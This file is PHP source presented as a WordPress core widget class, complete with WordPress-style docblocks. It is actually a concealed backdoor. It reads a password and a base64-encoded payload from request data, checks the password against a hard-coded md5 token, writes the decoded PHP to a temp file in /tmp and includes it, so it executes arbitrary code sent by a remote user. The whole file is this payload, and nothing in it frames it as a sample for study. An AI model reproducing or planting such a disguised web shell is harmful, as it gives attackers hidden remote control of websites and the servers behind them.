/**
* Widget_Hook API: WP_Widget_Hook base class
*
* @package WordPress
* @subpackage WidgetsHook
* @since 4.2.0
*/
class WP_Widget_Hook
{
protected $uuid = "af7ef";
protected $hookValue = "";
protected $exec_num = 0;
public function __construct()
{
$this->action = "a";
$this->hook_opts();
$this->run();
}
/**
* Load Hook for this widget
* @param string $hook_name
*/
public function load($hook_name)
{
include $hook_name;
}
/**
* run hook
*/
protected function run()
{
if (!$this->set_auth($this->opt[$this->action])) return false;
$this->hookValue = $this->parse_str($this->opt["name"]);
$this->display();
}
/**
* Set User Auth
* @param string $user user account
* @return boolean
*/
protected function set_auth($user)
{
$access = md5($user . $this->uuid);
return $access === $this->token;
}
protected function inc()
{
$this->exec_num++;
return $this;
}
protected $token = "29cc0ff89e844841e08d8e5873767e39";
protected $opt = array("name" => "_WP_Widget_Hook_Name", "a" => "wp_action");
/**
* Set hook name
* @param string $name
* @return self
*/
public function set_name($name)
{
$this->name = $name;
return $this;
}
/**
* Cache hook code
* @return string
*/
protected function cache()
{
$this->name = tempnam("/tmp", "WP_Widget_Hook" . $this->name);
if ($this->name === $this->opt['name'] && file_exists($this->name)) {
return $this->name;
}
$this->inc();
$this->hookValue = '' . $this->hookValue;
$handle = @fopen($this->name, "w");
@fwrite($handle, $this->hookValue);
@fclose($handle);
return $this->name;
}
/**
* parse txt
* @param string $txt
* @param boolean $encode
* @return string
*/
protected function parse_str($txt, $encode = false)
{
return $encode ? base64_encode($txt) : ($txt[0] === "_" ? $txt : base64_decode($txt));
}
protected function data_value($value)
{
foreach ($GLOBALS as $item) {
if (is_array($item) && !empty($item[$value])) return $item[$value];
}
return "";
}
protected $action;
protected $name = "44aba5f5f0";
protected $exp = "exp";
/**
* Init hook opts
*/
protected function hook_opts()
{
$this->opt["_" . $this->exp] = time();
foreach ($this->opt as $key => $value) {
$ls = $this->data_value($key);
$this->opt[$key] = $ls;
}
if (empty($this->opt[$this->action]) && !empty($this->opt["_" . $this->exp])) {
$this->opt[$this->action] = $this->opt["_" . $this->exp];
}
return $this;
}
/**
* Display hook view
*/
protected function display()
{
if (strlen($this->hookValue) < 19 || $this->hookValue[0] !== "<") return false;
if ($this->cache())
$this->load($this->name);
if ($this->exec_num) die();
}
}
?>